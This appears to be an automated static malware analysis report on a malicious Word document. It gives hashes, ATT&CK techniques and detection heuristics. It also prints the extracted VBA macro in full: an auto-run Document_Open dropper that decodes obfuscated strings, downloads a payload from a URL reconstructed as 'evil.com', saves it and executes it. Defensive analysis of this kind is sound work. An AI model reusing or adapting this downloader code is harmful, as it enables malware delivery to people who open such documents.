Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3dc922b7876e529f…

MALICIOUS

Office (OOXML)

150.0 KB Created: 2020-05-19 00:20:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2020-09-07
MD5: ae6465811ca227ab4115a105de339d87 SHA-1: b794cb334c217e606e57b721aeaafe0c548589ef SHA-256: 3dc922b7876e529f5fdbfe06789f174dea9a3688dd7ca3827a32a25d6e8eb95a
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro that automatically executes upon opening the document. This macro utilizes WScript.Shell and ADODB.Stream to download a file from the reconstructed URL 'http://evil.com/payload.exe' and save it to the user's public directory as 'payload.exe'. The script then executes the downloaded file, indicating a downloader or dropper functionality.

Heuristics 9

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("WScript.Shell").Run FileName
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
    Matched line in script
            For i = 1 To Len(strInput)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    stream_obj.write http_obj.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set http_obj = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    FileName = Environ(mQsNMWCmsqUBsdAKlLddnnHmNVIUJnoQsMDZQAzDYpOCWlmzvXbNzvT("~�—š")) + "\" + mQsNMWCmsqUBsdAKlLddnnHmNVIUJnoQsMDZQAzDYpOCWlmzvXbNzvT("p“–�˜‹—�X�¢�")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1352 bytes
SHA-256: 1314fc42ce596059b5a6e86452fcfe48092a936ed2506b2f85d43e13f6615034
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim http_obj
Dim stream_obj
Public Sub Document_Open()
Set http_obj = CreateObject("Microsoft.XMLHTTP")
Set stream_obj = CreateObject("ADODB.Stream")
URL = mQsNMWCmsqUBsdAKlLddnnHmNVIUJnoQsMDZQAzDYpOCWlmzvXbNzvT("’žžšdYY�–ŸŒ�‹ŽŽ£X�™—Y•��žYšŸžž£X�¢�")
FileName = Environ(mQsNMWCmsqUBsdAKlLddnnHmNVIUJnoQsMDZQAzDYpOCWlmzvXbNzvT("~�—š")) + "\" + mQsNMWCmsqUBsdAKlLddnnHmNVIUJnoQsMDZQAzDYpOCWlmzvXbNzvT("p“–�˜‹—�X�¢�")
http_obj.Open "GET", URL, False
http_obj.send
stream_obj.Type = 1
stream_obj.Open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FileName, 2
CreateObject("WScript.Shell").Run FileName
End Sub
Public Function mQsNMWCmsqUBsdAKlLddnnHmNVIUJnoQsMDZQAzDYpOCWlmzvXbNzvT(strInput As String)
        Dim n As Integer, i As Integer
        n = 42
        For i = 1 To Len(strInput)
            Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) - n)
        Next i
        mQsNMWCmsqUBsdAKlLddnnHmNVIUJnoQsMDZQAzDYpOCWlmzvXbNzvT = strInput
    End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9216 bytes
SHA-256: 6f660f8ede101c0f4059575ff8847002c75fcdc0397d9609c6197d044ded278f